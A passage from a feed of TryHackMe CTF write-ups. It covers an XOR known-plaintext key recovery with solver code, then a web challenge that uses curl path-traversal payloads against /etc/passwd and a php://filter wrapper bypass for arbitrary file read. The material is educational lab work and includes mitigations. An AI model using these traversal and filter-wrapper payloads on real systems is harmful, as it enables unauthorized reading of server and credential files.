&lt;strong&gt;Never leave forensic artifacts (pcaps, keys) lying around during "cleanup."&lt;/strong&gt; The &lt;code&gt;/opt/capture.pcap&lt;/code&gt; + &lt;code&gt;apache.key&lt;/code&gt; combo handed over the entire backdoor mechanism the admin was presumably trying to remove.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;sudo&lt;/code&gt; grants for network-control binaries (&lt;code&gt;iptables&lt;/code&gt;, &lt;code&gt;tcpdump&lt;/code&gt;, &lt;code&gt;nmap&lt;/code&gt;, etc.) are frequently as good as full root&lt;/strong&gt; in situations where they can be used to expose otherwise-firewalled attack surface.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : Overflow The Jackpot writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 10 Aug 2026 05:32:42 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-overflow-the-jackpot-writeup-4b1f</link>
      <guid>https://dev.to/exploitnotes/tryhackme-overflow-the-jackpot-writeup-4b1f</guid>
      <description>&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;B1t Recovery&lt;/td&gt;
&lt;td&gt;Crypto&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{[REDACTED]}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Lost Fortune Included&lt;/td&gt;
&lt;td&gt;Web&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Casino Heist&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Fresh Powder - Bonus Challenge&lt;/td&gt;
&lt;td&gt;Detection Engineering&lt;/td&gt;
&lt;td&gt;Multiple - &lt;code&gt;THM{REDACTED}&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Agent P&lt;/td&gt;
&lt;td&gt;Boot2Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EVILINC{REDACTED}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;&lt;a id="b1t-recovery"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  b1t_recovery - Known-Plaintext Attack on Short-Key Repeating XOR
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;b1t_recovery&lt;/code&gt; is a crypto challenge that XOR-encrypts a flag with a random&lt;br&gt;
4-byte key using &lt;code&gt;pwntools&lt;/code&gt;' &lt;code&gt;xor()&lt;/code&gt; helper. Because &lt;code&gt;xor()&lt;/code&gt; cycles a short&lt;br&gt;
key across the whole plaintext (repeating-key XOR, effectively a weak stream&lt;br&gt;
cipher), and because the flag format is known ahead of time (&lt;code&gt;THM{...}&lt;/code&gt;),&lt;br&gt;
the first 4 bytes of ciphertext can be XORed against the known &lt;code&gt;THM{&lt;/code&gt; prefix&lt;br&gt;
to recover the full key directly - no brute force needed. Once the key is&lt;br&gt;
recovered, XORing it back across the entire ciphertext yields the flag.&lt;/p&gt;
&lt;h2&gt;
  
  
  Challenge Files
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;b1t_recovery/
├── challenge.py
└── encrypted.bin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;challenge.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urandom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;flag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;THM{FAKE_FLAG_FOR_TESTING}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;encrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;encrypted.bin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key details from the source:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The XOR key is only &lt;strong&gt;4 random bytes&lt;/strong&gt; (&lt;code&gt;os.urandom(4)&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pwntools.xor()&lt;/code&gt; repeats/cycles a short key across the full length of the input rather than requiring a key as long as the plaintext.&lt;/li&gt;
&lt;li&gt;The real flag follows the same &lt;code&gt;THM{...}&lt;/code&gt; format as the placeholder, which is the crack that breaks this scheme.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Vulnerability
&lt;/h2&gt;

&lt;p&gt;Repeating-key XOR with a short key is only as strong as an attacker's&lt;br&gt;
uncertainty about &lt;em&gt;any&lt;/em&gt; stretch of plaintext equal in length to the key.&lt;br&gt;
Here the key is 4 bytes, and the flag format is public knowledge&lt;br&gt;
(&lt;code&gt;THM{&lt;/code&gt; is a fixed, predictable prefix on every flag in this format).&lt;br&gt;
That means the first 4 ciphertext bytes are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C[0:4] = P[0:4] XOR K[0:4]
       = "THM{" XOR K
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since XOR is self-inverse, the key falls straight out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;K = C[0:4] XOR "THM{"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once &lt;code&gt;K&lt;/code&gt; is known, decrypting the rest of the file is just re-applying the&lt;br&gt;
key on a 4-byte cycle across the full ciphertext - the same operation&lt;br&gt;
&lt;code&gt;challenge.py&lt;/code&gt; used to encrypt it, run in reverse.&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;

&lt;p&gt;Inspected the ciphertext length and raw bytes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;encrypted.bin&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;       &lt;span class="c1"&gt;# 46 bytes
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Recovered the 4-byte key from the known &lt;code&gt;THM{&lt;/code&gt; prefix and decrypted the full&lt;br&gt;
buffer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;encrypted.bin&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rb&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;known&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;THM{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;known&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;recovered key:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))])&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;recovered key: b'\xcb\xce\xceC'
b'THM{[REDACTED]}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{[REDACTED]}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Short (4-byte), reused/cycled XOR key with a predictable-format plaintext prefix&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;challenge.py&lt;/code&gt; -&amp;gt; &lt;code&gt;encrypted.bin&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Full key recovery and plaintext decryption via known-plaintext attack, no brute force required&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never use repeating-key XOR as encryption for anything beyond a trivial obfuscation exercise - it collapses to a solvable known-plaintext problem the moment any stretch of plaintext equal to the key length is guessable or predictable (headers, magic bytes, fixed-format prefixes like &lt;code&gt;THM{&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If XOR is used at all, the key must be at least as long as the plaintext and never reused (a true one-time pad), or replaced entirely with an authenticated stream/block cipher (e.g. AES-GCM, ChaCha20-Poly1305).&lt;/li&gt;
&lt;li&gt;Avoid predictable plaintext framing (fixed prefixes/suffixes) around secrets that will be encrypted with anything less than a properly randomized, sufficiently long key - predictable structure is exactly what a known-plaintext attack needs to anchor on.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a id="lost-fortune-included"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  TryHackMe - Losst Fortune: PHP Filter Chain Bypass to Arbitrary File Read
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{REDACTED}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;"Losst Fortune" is a single Apache/PHP box serving a themed document kiosk&lt;br&gt;
("VILLAGE ARCHIVE TERMINAL v2.3") that hands out two files - a PDF and a PNG&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;through a &lt;code&gt;?doc=&amp;lt;filename&amp;gt;&lt;/code&gt; parameter. Straightforward path-traversal
payloads (&lt;code&gt;../../etc/passwd&lt;/code&gt;, double-encoded slashes, null bytes) were all
caught by a filter that returns &lt;em&gt;"Only .pdf and .png village documents may
be viewed."&lt;/em&gt; - but that filter turned out to be watching for &lt;code&gt;../&lt;/code&gt;-style
traversal sequences specifically, not actually restricting which file gets
opened. Feeding the parameter a &lt;code&gt;php://filter/...&lt;/code&gt; stream wrapper instead of
a plain path contains no &lt;code&gt;../&lt;/code&gt; at all, sails straight past the blacklist,
and gets handed to PHP's file-read function unmodified - which happily
treats it as a wrapper directive rather than a filename. That gave
base64-encoded arbitrary file read as the web server user, and a very short
hop from &lt;code&gt;/etc/passwd&lt;/code&gt; to the flag sitting in &lt;code&gt;/var/www/&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;?doc=&amp;lt;filename&amp;gt; kiosk endpoint
        |
        v
../ traversal payloads -&amp;gt; blocked ("Only .pdf and .png...")
        |
        v
php://filter/...resource=&amp;lt;path&amp;gt; -&amp;gt; contains no ../ -&amp;gt; blacklist never triggers
        |
        v
value passed straight to a PHP file-read function -&amp;gt; treated as a stream wrapper, not a path
        |
        v
php://filter/read=convert.base64-encode/resource=/etc/passwd -&amp;gt; arbitrary file read
        |
        v
php://filter/.../resource=/var/www/flag.txt -&amp;gt; flag
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: VILLAGE ARCHIVE TERMINAL v2.3
|_http-server-header: Apache/2.4.58 (Ubuntu)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;em&gt;(Note: the target's DHCP-assigned IP changed partway through this engagement,&lt;br&gt;
from &lt;code&gt;10.48.174.230&lt;/code&gt; to &lt;code&gt;10.49.159.27&lt;/code&gt;, after the TryHackMe VPN instance&lt;br&gt;
recycled - both refer to the same box. Placeholder &lt;code&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/code&gt; is used&lt;br&gt;
throughout for that reason.)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;/&lt;/code&gt; returns a themed kiosk page listing two&lt;br&gt;
documents and stating its request format plainly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"prompt"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;AVAILABLE DOCUMENTS:&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"?doc=village_schedule.pdf"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;village_schedule.pdf&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"?doc=important.png"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;important.png&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"footer"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    Request format: &lt;span class="nt"&gt;&amp;lt;code&amp;gt;&lt;/span&gt;?doc=&lt;span class="ni"&gt;&amp;amp;lt;&lt;/span&gt;filename&lt;span class="ni"&gt;&amp;amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/code&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    Only .pdf and .png documents are served from this terminal.
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fetched both listed documents for a baseline:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;wget 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;/?doc&lt;span class="o"&gt;=&lt;/span&gt;village_schedule.pdf&lt;span class="s1"&gt;' -O village_schedule.pdf
&lt;/span&gt;&lt;span class="gp"&gt;wget 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;/?doc=important.png'&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; important.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;village_schedule.pdf: PDF document, version 1.7, 1 page(s) (zip deflate encoded)
important.png:        PNG image data, 434 x 431, 8-bit/color RGBA, non-interlaced
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both legitimate, unremarkable files - no obvious flag hiding in either at&lt;br&gt;
this stage.&lt;/p&gt;
&lt;h2&gt;
  
  
  Confirming the Filter - and What It's Actually Watching For
&lt;/h2&gt;

&lt;p&gt;Straight path traversal is rejected with a specific message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;curl 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;/?doc&lt;span class="o"&gt;=&lt;/span&gt;..%2f..%2f..%2fetc%2fpasswd&lt;span class="s1"&gt;'
&lt;/span&gt;&lt;span class="gp"&gt;curl 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;/?doc=....//....//etc/passwd'&lt;/span&gt;
&lt;span class="gp"&gt;curl 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;/?doc&lt;span class="o"&gt;=&lt;/span&gt;..%252f..%252f..%252fetc%252fpasswd&lt;span class="s1"&gt;'
&lt;/span&gt;&lt;span class="gp"&gt;curl 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;/?doc=%2e%2e/%2e%2e/%2e%2e/etc/passwd'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Only .pdf and .png village documents may be viewed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every traversal variant tried - literal &lt;code&gt;../&lt;/code&gt;, single URL-encoding, double&lt;br&gt;
URL-encoding, dot-slash obfuscation - got the exact same block message. That&lt;br&gt;
consistency was the tell: this isn't an extension whitelist reacting to the&lt;br&gt;
&lt;em&gt;absence&lt;/em&gt; of &lt;code&gt;.pdf&lt;/code&gt;/&lt;code&gt;.png&lt;/code&gt;, it's a blacklist reacting to the &lt;em&gt;presence&lt;/em&gt; of&lt;br&gt;
&lt;code&gt;../&lt;/code&gt;-style sequences specifically. Confirmed by testing a path with no&lt;br&gt;
traversal characters and no valid extension either:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;curl 'http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;/?doc&lt;span class="o"&gt;=&lt;/span&gt;../app.py&lt;span class="s1"&gt;'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;403 (51 bytes)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A 403 here (Apache-level, not the app's own block message) rather than the&lt;br&gt;
app's "Only .pdf and .png..." text further reinforced that the app's own&lt;br&gt;
filter is keyed on the traversal pattern, not the extension.&lt;/p&gt;
&lt;h2&gt;
  
  
  Dead Ends
&lt;/h2&gt;

&lt;p&gt;A lot of the standard toolkit came up empty on this box - worth recording&lt;br&gt;
so the useful path stands out:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;dirsearch&lt;/code&gt; / &lt;code&gt;gobuster&lt;/code&gt; against the web root: nothing beyond the default &lt;code&gt;/server-status&lt;/code&gt; (403, mod_status present but locked down).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ffuf&lt;/code&gt; fuzzing the &lt;code&gt;doc&lt;/code&gt; parameter itself against &lt;code&gt;raft-small-words.txt&lt;/code&gt;, and fuzzing filenames like &lt;code&gt;flag.pdf&lt;/code&gt;, &lt;code&gt;secret.png&lt;/code&gt;, &lt;code&gt;id_rsa.pdf&lt;/code&gt;, &lt;code&gt;.env.pdf&lt;/code&gt;: no hits - none of the "obviously named" files exist under the app's own document directory.&lt;/li&gt;
&lt;li&gt;Virtual host fuzzing (&lt;code&gt;Host: FUZZ.thm&lt;/code&gt; against a large subdomain wordlist): every single name returned the identical 2593-byte default page - this app has no vhost routing at all, it was a dead end from the start.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;TRACE&lt;/code&gt; / &lt;code&gt;OPTIONS&lt;/code&gt; / &lt;code&gt;HEAD&lt;/code&gt; method probing, &lt;code&gt;X-Forwarded-For&lt;/code&gt; / &lt;code&gt;X-Original-URL&lt;/code&gt; / &lt;code&gt;X-Rewrite-URL&lt;/code&gt; header tricks, PHP array-style parameters (&lt;code&gt;doc[]=&lt;/code&gt;), duplicate &lt;code&gt;doc=&lt;/code&gt; query parameters, and POSTing &lt;code&gt;doc&lt;/code&gt; in the body instead of the query string: all either ignored, echoed the default page, or (for the array-style parameter) triggered a generic 500 with no further disclosure.&lt;/li&gt;
&lt;li&gt;PNG steganography (&lt;code&gt;zsteg -a important.png&lt;/code&gt;, &lt;code&gt;exiftool important.png&lt;/code&gt;): extensive automated bit-plane analysis, no coherent hidden data - false-positive "OpenPGP Secret Key" / format matches from &lt;code&gt;zsteg&lt;/code&gt; scanning raw pixel noise, not an actual stego payload. &lt;code&gt;important.png&lt;/code&gt; was exactly what it looked like.&lt;/li&gt;
&lt;li&gt;PDF internals (&lt;code&gt;qpdf --qdf&lt;/code&gt;, &lt;code&gt;pdfdetach -list&lt;/code&gt;, manual zlib-decompression of every stream, XOR-brute-forcing a suspicious repeating string found in the raw PDF): the "suspicious" string turned out to be JBIG2/image compression artifacts, and every decompressed stream was ordinary image/ICC-profile data. &lt;code&gt;village_schedule.pdf&lt;/code&gt; was also exactly what it looked like.&lt;/li&gt;
&lt;/ul&gt;

